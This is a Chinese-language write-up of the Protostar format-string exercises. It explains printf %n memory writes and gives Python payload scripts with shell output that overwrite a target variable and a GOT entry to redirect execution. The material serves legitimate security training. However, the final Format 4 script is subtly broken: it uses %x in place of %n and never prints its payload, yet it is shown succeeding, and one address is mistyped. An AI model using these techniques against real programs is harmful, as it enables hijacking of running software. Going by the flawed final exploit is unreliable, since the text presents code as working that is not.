通过 Protostar 学习“格式化字符串”攻击


背景

Protostar (http://exploit-exercises.lains.space/protostar/) 提供了一系列常见渗透练习:

  • 网络编程
  • 字节序
  • 套接字
  • 栈溢出攻击
  • 格式化字符串攻击
  • 堆溢出攻击

本文将针对练习中“格式化字符串攻击”部分进行讲解,希望读者可以对这其形成一些基础的认识。

规则

通过各种形式的漏洞劫持工作流。题目及靶机见官网。

注:使用 x86 而非 amd64 平台。

前置知识

printf 拥有如下特性:

  • 可以通过 %X$F 将第 X 个参数以格式 F 输出。但 printf 并不知道被传了几个参数,所以 X 可以超过真正传的参数数量,即栈上向后顺延每 4 字节。(单指本次的 x86 平台,amd64 平台下寄存器排满之后才会访问栈)

  • %n 可以用来将参数指向的内存设置为当前已经输出了多少字节。对,我们可以用 printf 修改内存。

Format 0

系列的入门题,暂未涉及格式化,直接写入:

./format0 `echo -e -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde\x00"`
you have hit the target correctly :)

Format 2

char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);

if(target == 64) {
    printf("you have modified the target :)\n");
} else {
    printf("target is %d :(\n", target);
}

这次限制了读入的大小,无法读入时溢出,需要 printf 输出时溢出了。

我们用 buffer 的头几个 4 字节块来当作“伪参数”,假设他的位置对应 printf 第 4 个参数。我们将它赋值为目标地址 0x123456,假设之前已经写入了 18 个字节,那我们之后写上 %4$n 便可以向 0x123456 写入 18。

target 地址为 0x804a048, buffer 地址为 0x0xbffff400printf 调用栈上 buffer 地址为 0xbffff3f0。推算得知 printf 调用栈第 4 个参数为 buffer 起始位置。

#!/usr/bin/python
# file name: format2.py
def padding(s, l):
    return s + "P"*(l - len(s))
buf = "\x48\xa0\x04\x08";
buf = padding(buf, 64)
buf += "%4$n"
print buf
$ python format2.py | ./format2
HPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
you have modified the target :)

Format 3

本关与上关唯一不同就是目标值变大了。我们不可能一次输出那么多,但可以分片写入。

if(target == 0x01025544)

target 地址为 0x804a048printf 多个 %x 后发现 buffer 在 参数 12 上。

目标值为 *0x804a048=0x01025544,不妨拆解为:

  • *0x804a048=0x44
  • *0x804a049=0x55
  • *0x804a04a=0x102
# file name: format3.py
def padding(s, l):
    return s + "P"*(l - len(s))
buf = "\x48\xa0\x04\x08\x49\xa0\x04\x08\x4a\xa0\x04\x08"
buf = padding(buf, 0x44)
buf += "%12$n"
buf += "A" * (0x55 - 0x44)
buf += "%13$n"
buf += "B" * (0x102 - 0x55)
buf += "%14$n"
print buf
$ python format3.py | ./format3
HIJPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
you have modified the target :)

Format 4

void hello() {
    execl("code execution redirected! you win\n");
    _exit(1);
}
void vuln() {
    char buffer[512];
    fgets(buffer, sizeof(buffer), stdin);
    printf(buffer);
    exit(1);
}

本次多了个 exit(),故我们需要覆写他的 PLT 表。

buffer0xbffff400exit@plt0x80483b0,其跳向 0x804a018 所储存地址处代码(原本为 0x80483b6),需将其改为 0x80484eb(hello)

输出发现 buffer 对应第 4 个参数。

0x804a018 b6 83 04 08
   ------>
0x804a018 eb 84 04 08

可以分三次写入。

# file name: format4.py
def padding(s, l):
    return s + "P"*(l - len(s))
buf = "\x18\xa0\x04\x08\x19\xa0\x04\x08\x1a\xa0\x04\x08"
buf = padding(buf, 0xeb)
buf += "%4$x"
buf += "%1$0153x"
buf += "%5$x"
buf += "%1$01664x"
buf += "%6$x"
$ python format4.py  | ./format4
...
code execution redirected! you win\n